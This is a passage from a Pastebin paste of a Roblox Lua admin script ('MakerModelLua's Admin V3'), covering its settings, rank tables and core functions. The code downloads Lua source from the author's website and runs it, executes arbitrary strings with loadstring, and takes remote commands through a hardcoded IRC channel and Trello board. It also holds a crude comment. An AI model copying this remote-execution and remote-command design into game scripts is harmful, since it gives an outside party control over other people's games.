API tools faq
paste
Guest User

MML admin working

a guest
Oct 20th, 2018
129
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 372.13 KB | None | 0 0
raw download clone embed print report
  1. --[[
  2. Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
  3. If you want to know what commands do just go into your game and say ;cmds for a list of
  4. commands, what they do, examples, rank needed, and more!
  5. Or, go to http://www.classy-studios.com/V3/Commands.php
  6.  
  7.  
  8.  
  9. local Settings = {
  10. Ranks = {
  11. ["Owner"] = {KidROBLOXKZweitAcc2};
  12. ["Admin"] = {};
  13. ["Member"] = {};
  14. ["Banned"] = {};
  15. ["Crashed"] = {};
  16. ["Muted"] = {};
  17. };
  18.  
  19. Prefix = ";";
  20. Bet = " ";
  21. MinimumAge = 0;
  22. ServerLocked = false;
  23. ColorScheme = "White";
  24. TransparencyScheme = 50;
  25. Fun = true;
  26. EnableAdminMenu = true;
  27. EnableTaskBar = true;
  28. FreeAdmin = false;
  29. Font = "Arial";
  30.  
  31. DisableAbuse = false;
  32. AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
  33. AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
  34.  
  35. LinkedAccount = "";
  36. DataKey = "";
  37.  
  38. ExecuteNotificationSound = 0; --177578949
  39. EnableSounds = true;
  40.  
  41. VIPMemberID = 0;
  42. VIPAdminID = 0;
  43.  
  44. GroupID = 0;
  45. GroupBanRank = 0;
  46. GroupMemberRank = 0;
  47. GroupAdminRank = 0;
  48. GroupOwnerRank = 0;
  49. GroupRankBan = 0;
  50. BannedGroupIDs = {};
  51.  
  52. IRCServer = "";
  53. IRCChannel = "";
  54. IRCCommandExecuters = {};
  55.  
  56. TrelloToken = ""
  57. }
  58.  
  59. local Colors = {
  60. ["WHITE"] = Color3.new(1,1,1);
  61. ["BLACK"] = Color3.new(0,0,0);
  62. ["GRAY"] = Color3.new(0.5,0.5,0.5);
  63. ["RED"] = Color3.new(1,0,0);
  64. ["GREEN"] = Color3.new(0,1,0);
  65. ["BLUE"] = Color3.new(0,0,1);
  66. ["YELLOW"] = Color3.new(1,1,0);
  67. ["PINK"] = Color3.new(1,0,1);
  68. ["MAGENTA"] = Color3.new(1,0,1);
  69. ["CYAN"] = BrickColor.new("Cyan").Color;
  70. ["TEAL"] = BrickColor.new("Teal").Color;
  71. ["BROWN"] = Color3.new(0.55,0.25,0.075);
  72. ["PURPLE"] = Color3.new(0.5,0,0.5);
  73. ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
  74. }
  75.  
  76. local Server = {
  77. Workspace = game:GetService("Workspace");
  78. Players = game:GetService("Players");
  79. Lighting = game:GetService("Lighting");
  80. MPS = game:GetService("MarketplaceService");
  81. TS = game:GetService("TeleportService");
  82. HS = game:GetService("HttpService");
  83. RS = game:GetService("RunService");
  84. PS = game:GetService("PointsService");
  85. TestS = game:GetService("TestService");
  86. IS = game:GetService("InsertService");
  87. Teams = game:GetService("Teams");
  88. Data = game:GetService("DataStoreService");
  89. GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
  90. NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
  91. Storage = game:GetService("ServerStorage");
  92. RS = game:GetService("ReplicatedStorage");
  93. AS = game:GetService("AssetService");
  94. }
  95.  
  96. local Icons = {
  97. ["Message"] = 7724351;
  98. ["Error"] = 94011556;
  99. ["Information"] = 144175130;
  100. ["Check"] = 132769976;
  101. ["Search"] = 61994930;
  102. ["Time"] = 136391033;
  103. ["Notice"] = 156507320;
  104. ["Sound"] = 164682936;
  105. ["Log"] = 70650545;
  106. ["Question"] = 41363872;
  107. ["Output"] = 11481605;
  108. ["Admin"] = 302470270;
  109. ["Lock"] = 11341626;
  110. ["Settings"] = 131064748;
  111. ["Map"] = 257119661;
  112. ["Plugin"] = 257097414;
  113. }
  114.  
  115. local IRC = {
  116. Codes = {
  117. ["001"] = "RPL_WELCOME",
  118. ["002"] = "RPL_YOURHOST",
  119. ["003"] = "RPL_CREATED",
  120. ["004"] = "RPL_MYINFO",
  121. ["005"] = "RPL_ISUPPORT",
  122. ["250"] = "RPL_STATSCONN",
  123. ["251"] = "RPL_LUSERCLIENT",
  124. ["252"] = "RPL_LUSEROP",
  125. ["254"] = "RPL_LUSERCHANNELS",
  126. ["255"] = "RPL_LUSERME",
  127. ["265"] = "RPL_LOCALUSERS",
  128. ["266"] = "RPL_GLOBALUSERS",
  129. ["352"] = "RPL_WHOREPLY",
  130. ["371"] = "RPL_INFO",
  131. ["372"] = "RPL_MOTD",
  132. ["374"] = "RPL_ENDINFO",
  133. ["375"] = "RPL_MOTDSTART",
  134. ["376"] = "RPL_ENDOFMOTD",
  135. ["422"] = "ERR_NOMOTD",
  136. },
  137. Ignore = {
  138. ["004"] = true,
  139. ["005"] = true,
  140. };
  141. Users = {};
  142. Logs = {};
  143. Chats = {};
  144. Forms = {};
  145. MessageAdded = Instance.new("BindableEvent");
  146.  
  147. Servers = {
  148. ["esper.net"] = {
  149. BaseUrl = "http://webchat.esper.net/";
  150. DynamicUrl = "";
  151. };
  152. ["quakenet.org"] = {
  153. BaseUrl = "http://webchat.quakenet.org/";
  154. DynamicUrl = "dynamic/leibniz",
  155. };
  156. ["swiftirc.net"] = {
  157. BaseUrl = "http://qwebirc.swiftirc.net/";
  158. DynamicUrl = "",
  159. };
  160. };
  161. NickName = "rbxMMLV3_"..math.random(1,100000);
  162.  
  163. SessionCounter = 0;
  164. Connected = false;
  165. Stop = false;
  166. SessionID = "";
  167. }
  168.  
  169. local RankHUD = {
  170. ["Muted"] = 202180094;
  171. ["Non-Admin"] = 202180121;
  172. ["Member"] = 202180052;
  173. ["Admin"] = 202180015;
  174. ["Owner"] = 202179988;
  175. }
  176.  
  177. local TextConverter = {
  178. LetterSounds = {
  179. ["a"] = {223757826, nil}; -- 203343899
  180. ["b"] = {223533700, 0.2}; -- 203344029
  181. ["c"] = {223533711, nil}; -- 203343994
  182. ["d"] = {223757910, nil}; -- 203398237
  183. ["e"] = {223758026, nil}; -- 203398295
  184. ["f"] = {223777655, nil}; -- 203398347
  185. ["g"] = {223777738, nil}; -- 203398372
  186. ["h"] = {223777757, nil}; -- 203398397
  187. ["i"] = {223777807, nil}; -- 203398422
  188. ["j"] = {223782888, nil}; -- 203398450
  189. ["k"] = {223533711, nil}; -- 203343994
  190. ["l"] = {223782961, 0.4}; -- 203398541
  191. ["m"] = {223782992, nil}; -- 203398578
  192. ["n"] = {223783063, nil}; -- 203398599
  193. ["o"] = {223783184, nil}; -- 203398611
  194. ["p"] = {223783235, nil}; -- 203398727
  195. ["q"] = {223783260, nil}; -- 203398755
  196. ["r"] = {223783305, 0.2}; -- 203398792
  197. ["s"] = {223783377, nil}; -- 203398806
  198. ["t"] = {223783446, nil}; -- 203398850
  199. ["u"] = {223783512, nil}; -- 203398872
  200. ["v"] = {223783654, nil}; -- 203398965
  201. ["w"] = {223783697, nil}; -- 203398984
  202. ["x"] = {223783796, nil}; -- 203399008
  203. ["y"] = {223783853, nil}; -- 203399043
  204. ["z"] = {223783893, nil}; -- 203399096
  205.  
  206. ["ch"] = {223784367, 0.3}; -- 203592149
  207. ["th"] = {223788235, 0.3}; -- 203399215
  208. ["sh"] = {223784505, 0.2}; -- 203399566
  209. ["wh"] = {223784555, 0.3}; -- 203622828
  210. ["oo"] = {223784456, 0.3}; -- 203399743
  211. ["ing"] = {223784393, 0.3}; -- 203402836
  212. };
  213.  
  214. LongVowels = {
  215. ["a"] = {223533687, nil}; -- 203343932
  216. ["e"] = {223777620, nil}; -- 203398314
  217. ["i"] = {223777855, nil}; -- 203398440
  218. ["o"] = {223783212, nil}; -- 203398619
  219. ["u"] = {223783572, nil}; -- 203398897
  220. };
  221.  
  222. Pronounce = {
  223. ["0"] = "zero";
  224. ["1"] = "wun";
  225. ["2"] = "too";
  226. ["3"] = "three";
  227. ["4"] = "four";
  228. ["5"] = "five";
  229. ["6"] = "six";
  230. ["7"] = "seven";
  231. ["8"] = "eyt";
  232. ["9"] = "nine";
  233. ["one"] = "wun";
  234. ["two"] = "too";
  235. ["eight"] = "eyt";
  236. ["eigh"] = "ey";
  237. ["gh"] = "h";
  238. ["kn"] = "n";
  239. ["come"] = "cu".."m";
  240. ["bye"] = "bi";
  241. ["#"] = "hashtag";
  242. ["@"] = "at";
  243. ["&"] = "and";
  244. ["*"] = "astrict";
  245. ["mn"] = "m";
  246. ["kn"] = "n";
  247. ["ies"] = "ees";
  248. };
  249.  
  250. NonEnglishRules = {
  251. ["to"] = "too";
  252. ["you"] = "yoo";
  253. ["we"] = "wee";
  254. ["are"] = "erh";
  255. ["your"] = "yoor";
  256. ["you're"] = "yoor";
  257. ["youre"] = "yoor";
  258. ["pizza"] = "peetzoh";
  259. ["ok"] = "okay";
  260. ["have"] = "hav";
  261. ["my"] = "mi";
  262. ["me"] = "mee";
  263. ["u"] = "yoo";
  264. ["r"] = "erh";
  265. ["move"] = "moov";
  266. ["dove"] = "duv";
  267. ["debris"] = "debree";
  268. ["do"] = "doo";
  269. }
  270. }
  271.  
  272. local HTMLDecode = {
  273. ["35"] = "#";
  274. ["36"] = "$";
  275. ["37"] = "%%";
  276. ["38"] = "*";
  277. ["39"] = "'";
  278. ["58"] = ":";
  279. ["59"] = ";";
  280. ["60"] = "<";
  281. ["62"] = ">";
  282. }
  283.  
  284.  
  285. local Assets = {
  286. Packages = {
  287. [27112438] = {27112025,27112039,27112052,27112056,27112068};
  288. [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
  289. [77518833] = {77518564,77518616,77518654,77518696,77518737};
  290. [32336368] = {32336059,32336117,32336182,32336243,32336306};
  291. [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
  292. [54116460] = {54116290,54116338,54116373,54116394,54116432};
  293. [39977366] = {39976703,39976829,39976927,39977192,39977295};
  294. [32357766] = {32357663,32357631,32357619,32357584,32357558};
  295. [27123973] = {27121265,27121306,27121353,27121393,27121432};
  296. [55717536] = {55717271,55717330,55717388,55717434,55717491};
  297. [28279963] = {28279160,28279217,28279859,28279894,28279938};
  298. [27403592] = {27402580,27402546,27402641,27402714,27402742};
  299. [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
  300. [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
  301. [48474394] = {48474356,48474294};
  302. [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
  303. [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
  304. [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
  305. [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
  306. [33378577] = {33378366,33378438,33378484,33378522,33378540};
  307. [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
  308. [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
  309. [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
  310. [41851073] = {41850825,41850868,41850915,41851009,41850959}
  311. };
  312. AssetTypes = {
  313. [0] = "Product";
  314. [1] = "Image";
  315. [2] = "T-Shirt";
  316. [3] = "Audio";
  317. [4] = "Mesh";
  318. [5] = "Lua";
  319. [6] = "HTML";
  320. [7] = "Text";
  321. [8] = "Hat";
  322. [9] = "Place";
  323. [10] = "Model";
  324. [11] = "Shirt";
  325. [12] = "Pants";
  326. [13] = "Decal";
  327. [16] = "Avatar";
  328. [17] = "Head";
  329. [18] = "Face";
  330. [19] = "Gear";
  331. [21] = "Badge";
  332. [22] = "Group Emblem";
  333. [24] = "Animation";
  334. [25] = "Arms";
  335. [26] = "Legs";
  336. [27] = "Torso";
  337. [28] = "Right Arm";
  338. [29] = "Left Arm";
  339. [30] = "Left Leg";
  340. [31] = "Right Leg";
  341. [32] = "Package";
  342. [33] = "YouTube Video";
  343. [34] = "Game Pass";
  344. [38] = "Plugin";
  345. [39] = "SolidModel";
  346. [40] = "MeshPart";
  347. [41] = "Hair Accessory";
  348. [42] = "Face Accessory";
  349. [43] = "Neck Accessory";
  350. [44] = "Shoulder Accessory";
  351. [45] = "Front Accessory";
  352. [46] = "Back Accessory";
  353. };
  354. AccessoryTypes = {
  355. ["all"] = 19;
  356. ["hats"] = 9;
  357. ["hair"] = 20;
  358. ["face"] = 21;
  359. ["neck"] = 22;
  360. ["shoulder"] = 23;
  361. ["front"] = 24;
  362. ["back"] = 25;
  363. ["waist"] = 26;
  364. };
  365. }
  366.  
  367. local CharacterCache = {
  368. {"MakerModelLua", 38837082};
  369. {"LuaModelMaker", 20920633};
  370. {"builderman", 156};
  371. {"Shedletsky", 261};
  372. {"Telamon", 13645};
  373. {"ROBLOX", 1};
  374. }
  375.  
  376. local FaceCovert = {
  377. Left = "xpos";
  378. Right = "xneg";
  379. Front = "zpos";
  380. Back = "zneg";
  381. Top = "ypos";
  382. Bottom = "yneg";
  383. }
  384.  
  385. local Meshes = {
  386. ["crown"] = {1, 1078075};
  387. ["king"] = {1, 11419761};
  388. ["teapot"] = {0.03, 1029523};
  389. ["apple"] = {2.5, 16190555};
  390. ["potato"] = {1, 25268275};
  391. ["panda"] = {0.5, 20709221};
  392. ["dominus"] = {0.5, 21057410};
  393. ["fedora"] = {0.75, 13640868};
  394. ["noob"] = {1, 20929341};
  395. ["knife"] = {0.3, 121944778};
  396. ["book"] = {0.3, 1136139};
  397. }
  398.  
  399. local NotifySounds = {
  400. ["Hover"] = 223134269;
  401. ["Select"] = 292141227;
  402. }
  403.  
  404. local Trello = {
  405. TrelloInfoCard = "x1rUtwEj";
  406. MainBoard = {};
  407. RequiredLists = {};
  408. RankChecklistCache = {};
  409. ToggleChecklist = nil;
  410. CommandID = nil;
  411. LastCommandDT = 0;
  412. AdminBoardID = "577ea1b21cb7975666524f26";
  413. RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
  414. RemoteDataCard = "dLtMo1en"
  415. }
  416.  
  417. local ScriptBuilders = {
  418. [260897989] = "MML's";
  419. [21053279] = "Anti's pub";
  420. [21053219] = "Anti's pri";
  421. [20279777] = "Void's 1";
  422. [437965235] = "Void's 2";
  423. [227015991] = "Vox's";
  424. [210101277] = "Master's";
  425. [531937877] = "Bleu pigs";
  426. [519251450] = "Game's";
  427. }
  428.  
  429. -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
  430. -- Why else would I NOT have put it in a module?!?!?
  431.  
  432. local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
  433.  
  434. local SoundList,GlobalSoundList = {},{}
  435. local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
  436. local TempChatLogs = {}
  437. local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
  438. local NoSpeak = false
  439.  
  440. local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
  441. local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
  442.  
  443. local ChatLogs,CommandLogs = {},{}
  444. local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
  445. local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
  446. local Dispose,Jails,PermCommandBars = {},{},{}
  447. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  448. local Objects = {}
  449. local Sound = nil
  450. local ModLighting = false
  451. local DataReady = true
  452. local RemoteAbuseGear = {}
  453.  
  454. local GameOwner = "[ Client ]"
  455. local PlaceName = "Unknown"
  456. local PlaceInfo = {}
  457. local IsStudio = false
  458. local IsSB = false
  459. local Date = nil
  460. local Fonts = {}
  461. local PendingRequests = {}
  462. local F3X = script:FindFirstChild("F3X Tools")
  463. local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
  464. local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
  465. local KeyBinds = {}
  466. local Crowns = {}
  467. local LastKeys = {}
  468. local Cars = {}
  469. local StringReplacements = {}
  470. local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
  471. local NoBet = {"/", "-", "(", ")", ""}
  472. local ShouldFilter = true
  473.  
  474. local CrownStorage = script:FindFirstChild("CrownStorage")
  475. if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
  476.  
  477. -- import old settings just in case --
  478. local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
  479. if OldSettings then
  480. OldSettings = require(OldSettings)
  481.  
  482. for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
  483. Settings[ValName] = OldSettings[ValName]
  484. end
  485. Settings.GroupBanRank = OldSettings.RankBan
  486. Settings.Fun = OldSettings.FUN
  487. end
  488.  
  489. if F3X then
  490. F3X = F3X:Clone()
  491. F3X.Handle.Anchored = false
  492. script:FindFirstChild("F3X Tools"):Destroy()
  493. end
  494.  
  495. wait(0.1)
  496.  
  497. local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
  498. -- tries to defualt to server storage, just in case an exploiter makes their own settings.
  499.  
  500. if SettingsValues then
  501. SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
  502. if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
  503. for _,Value in pairs(SettingsValues:GetChildren()) do
  504. if Settings[Value.Name] ~= nil then
  505. if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
  506. for _,NewValue in pairs(Value:GetChildren()) do
  507. if ypcall(function() return NewValue.Value end) then
  508. if Settings[Value.Name][NewValue.Name] then
  509. local Val = NewValue.Value
  510. if type(Settings[Value.Name][NewValue.Name]) == "table" then
  511. Val = {}
  512. for Word in string.gmatch(NewValue.Value, "[%w_]+") do
  513. table.insert(Val, Word)
  514. end
  515. end
  516. Settings[Value.Name][NewValue.Name] = Val
  517. end
  518. end
  519. end
  520. else
  521. if Settings[Value.Name] ~= nil then
  522. local Val = Value.Value
  523. if type(Settings[Value.Name]) == "table" then
  524. Val = {}
  525. for Word in string.gmatch(Value.Value, "%w+") do
  526. table.insert(Val, Word)
  527. end
  528. end
  529. Settings[Value.Name] = Val
  530. end
  531. end
  532. end
  533. end
  534. end
  535. end
  536.  
  537. if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
  538. Settings.LinkedAccount = ""
  539. elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
  540. Settings.LinkedAccount = "Admin"
  541. end
  542.  
  543. local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
  544. local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
  545.  
  546. wait(1)
  547.  
  548. local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
  549.  
  550. if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
  551.  
  552. if not IsStudio then
  553. Server.NS = game:GetService("NetworkServer")
  554. script.Name = "Maker".."Mo".."delLua's Admin"
  555. end
  556.  
  557. if game.PlaceId > 0 then
  558. PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
  559. PlaceName = PlaceInfo.Name
  560. end
  561.  
  562. local function GetGameOwner()
  563. if PlaceInfo.Creator.CreatorType == "Group" then
  564. GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
  565. print("MML's Admin: Found group owner for game: "..GameOwner)
  566. elseif PlaceInfo.Creator.CreatorType == "User" then
  567. GameOwner = PlaceInfo.Creator.Name
  568. print("MML's Admin: Found game owner: "..GameOwner)
  569. else
  570. ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
  571. end
  572. end
  573.  
  574. if string.byte(string.sub(PlaceName,1,1)) == 226 then
  575. PlaceName = string.sub(PlaceName,4,#PlaceName)
  576. end
  577. for i = 1,5 do
  578. if GameOwner == "[ Client ]" then
  579. print("MML's Admin: Attempting to establish owner's name #"..i)
  580. GetGameOwner()
  581. wait(1)
  582. end
  583. end
  584.  
  585. if ScriptBuilders[PlaceID] or NLS then
  586. IsSB = true
  587. end
  588.  
  589. if IsSB then
  590. ShouldFilter = false
  591. Settings.IRCServer = "swiftirc.net";
  592. Settings.IRCChannel = "#PkamaraSB";
  593. Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
  594. if Settings.TrelloToken == "" then
  595. Settings.LinkedAccount = "ScriptBuilder"
  596. end
  597. if Settings.DataKey == "" then coroutine.wrap(function()
  598. repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
  599. local Key = Server.Storage:FindFirstChild("MML DataKey")
  600. print("Found key: "..Key.Value)
  601. Settings.DataKey = Key.Value
  602. Key:Destroy()
  603. end)() end
  604. end
  605. local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
  606. table.insert(Settings.Ranks["Owner"], GameOwner)
  607.  
  608. for _,Font in pairs(Enum.Font:GetEnumItems()) do
  609. Fonts[Font.Name] = Font
  610. end
  611.  
  612. local LogClient = script:FindFirstChild("AddClientInfo")
  613. if LogClient then LogClient:Destroy() end
  614. LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
  615. LogClient.OnServerInvoke = function(Player, Info)
  616. if Info then
  617. for Key,Data in pairs(Info) do
  618. ClientInfo[Player.Name][Key] = Data
  619. end
  620. end
  621. end
  622.  
  623. local function MakeFunction(Type, Name)
  624. local Func = script:FindFirstChild(Name)
  625. if Func then Func:Destroy() end
  626. Func = Instance.new(Type, script) Func.Name = Name
  627.  
  628. getfenv()[Name] = Func
  629. return Func
  630. end
  631.  
  632. MakeFunction("BindableFunction", "ExecuteCommand")
  633. MakeFunction("RemoteFunction", "ExecuteCommandClient")
  634. MakeFunction("BindableFunction", "ExecuteCode")
  635.  
  636. MakeFunction("RemoteFunction", "IsAdmin")
  637. MakeFunction("RemoteFunction", "AddExploit")
  638. MakeFunction("BindableFunction", "AddExploitServer")
  639. MakeFunction("RemoteFunction", "KickClient")
  640. MakeFunction("RemoteFunction", "ConvertTextToSound")
  641.  
  642. MakeFunction("RemoteFunction", "KeyPressed")
  643. MakeFunction("RemoteFunction", "InputKey")
  644.  
  645. MakeFunction("RemoteFunction", "RankPlayerLocal")
  646. MakeFunction("BindableFunction", "RankPlayerServer")
  647.  
  648. --[[
  649. if NLS then
  650. local Value = script:FindFirstChild("Override")
  651. LogClient.Parent = game
  652. if not Value then
  653. local Value = Instance.new("BoolValue", script) Value.Name = "Override"
  654. local CloneScript = script:Clone()
  655. CloneScript.Disabled = true
  656. CloneScript.Parent = game:FindFirstChild("ServerScriptService")
  657. CloneScript.Disabled = false
  658. CloneScript.Parent = nil
  659.  
  660. script:Destroy() script.Disabled = true
  661. end
  662. end
  663. ]]
  664.  
  665. if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
  666.  
  667. IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
  668.  
  669. -- Core functions --
  670.  
  671. function CORE:FixSettings()
  672. for _,Bet in pairs(NoBet) do
  673. if Settings.Bet == Bet then
  674. Settings.Bet = " "
  675. break
  676. end
  677. end
  678. CORE:ChangeBet(Settings.Bet)
  679.  
  680. if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
  681. if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
  682.  
  683. if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
  684. if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
  685. Settings.TransparencyScheme = Settings.TransparencyScheme/100
  686.  
  687. if not Fonts[Settings.Font] then
  688. Settings.Font = "Arial"
  689. end
  690. end
  691.  
  692. function CORE:NilPlayer(Player)
  693. if Player == nil or type(Player) == "table" then return true else return false end
  694. end
  695.  
  696. function CORE:ExecuteResource(ResourceName, Parent, Data)
  697. local ReturnScript = nil
  698. local Executed = true
  699. if script:FindFirstChild("Resources") then
  700. local RawResource = script.Resources:FindFirstChild(ResourceName)
  701. if RawResource then
  702. local Resource = RawResource:Clone()
  703. Resource.Disabled = true
  704. Resource.Parent = Parent
  705. if Data then
  706. for Key,Value in pairs(Data) do
  707. if Resource[Key] then
  708. Resource[Key].Value = Value
  709. end
  710. end
  711. end
  712. wait()
  713. Resource.Disabled = false
  714. ReturnScript = Resource
  715. else
  716. Executed = false
  717. end
  718. else
  719. Executed = false
  720. end
  721. if Executed == false then
  722. if not Data then Data = {} end
  723. local Source = ScriptCache[ResourceName]
  724.  
  725. if not Source then
  726. Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
  727. if Source then
  728. ScriptCache[ResourceName] = Source
  729. end
  730. end
  731.  
  732. if Data and Source then
  733. for Key,Value in pairs(Data) do
  734. Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
  735. end
  736. end
  737.  
  738. if Source then
  739. if NLS then
  740. ReturnScript = NLS(Source, Parent)
  741. elseif createLocalScriptWithSource then
  742. ReturnScript = createLocalScriptWithSource(Source)
  743. ReturnScript.Parent = Parent
  744. end
  745. end
  746. end
  747. return ReturnScript
  748. end
  749.  
  750. function CORE:CreateRemotePropertyReader(Obj, Override)
  751. if Server.Workspace.FilteringEnabled == true or Override then
  752. local Reader = Instance.new("RemoteFunction", Obj)
  753. Reader.Name = "RemotePropertyReader"
  754. CORE:ExecuteResource("RemotePropertyReader", Reader)
  755. return Reader
  756. else
  757. return Obj
  758. end
  759. end
  760.  
  761. function CORE:ReadProperty(Reader, Player, Property)
  762. if Reader:IsA("RemoteFunction") then
  763. return Reader:InvokeClient(Player, Property)
  764. else
  765. return Reader[Property]
  766. end
  767. end
  768.  
  769. function CORE:WriteProperty(Reader, Player, Property, Value)
  770. if Reader:IsA("RemoteFunction") then
  771. return Reader:InvokeClient(Player, Property, Value)
  772. else
  773. return Reader[Property]
  774. end
  775. end
  776.  
  777.  
  778. function CORE:CreateRemoteEvent(Obj, EventName)
  779. local Event = Instance.new("RemoteEvent", Obj)
  780. Event.Name = "RemoteEvent_"..EventName
  781. CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
  782. return Event
  783. end
  784.  
  785. function CORE:HandleEvent(Obj, EventName, Func, NewThread)
  786. local function Handle()
  787. if Server.Workspace.FilteringEnabled == true then
  788. local Event = CORE:CreateRemoteEvent(Obj, EventName)
  789. return Event.OnServerEvent:connect(function(Player, ...)
  790. Func(...)
  791. end)
  792. else
  793. return Obj[EventName]:connect(Func)
  794. end
  795. end
  796. if NewThread then
  797. Spawn(Handle)
  798. else
  799. Handle()
  800. end
  801. end
  802.  
  803. function CORE:HandleError(Error, Speaker)
  804. local Return = ""
  805. if not Error or Error == "" then
  806. Return = "Unknown Error"
  807. else
  808. Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
  809. end
  810. if Speaker then
  811. GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
  812. end
  813. return Return
  814. end
  815.  
  816. local function ExecuteSafe(Source, Speaker) -- no CORE
  817. local Script, Error = loadstring(Source)
  818. if Error then
  819. return false, CORE:HandleError(Error, Speaker)
  820. else
  821. getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  822. getfenv(Script).Server, getfenv(Script).script = Server,script
  823. if Speaker then
  824. getfenv(Script).print = function(...)
  825. GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
  826. end
  827. getfenv(Script).print_array = function(List)
  828. if type(List) == "table" then
  829. GUI:ListGui(Speaker, "Listed Table", List, "Output")
  830. end
  831. end
  832. end
  833.  
  834. local Suc, Error = ypcall(coroutine.wrap(Script))
  835.  
  836. if not Suc then
  837. Error = CORE:HandleError(Error, Speaker)
  838. end
  839.  
  840. return Suc,Error
  841. end
  842. end
  843.  
  844. function CORE:GetTime(Regular, FullDate)
  845. if Regular == nil then Regular = true end
  846. local Meridiem = ""
  847. if Regular == true then Meridiem = " AM" end
  848. local SecondsOfToday = math.fmod(os.time(), 60*60*24)
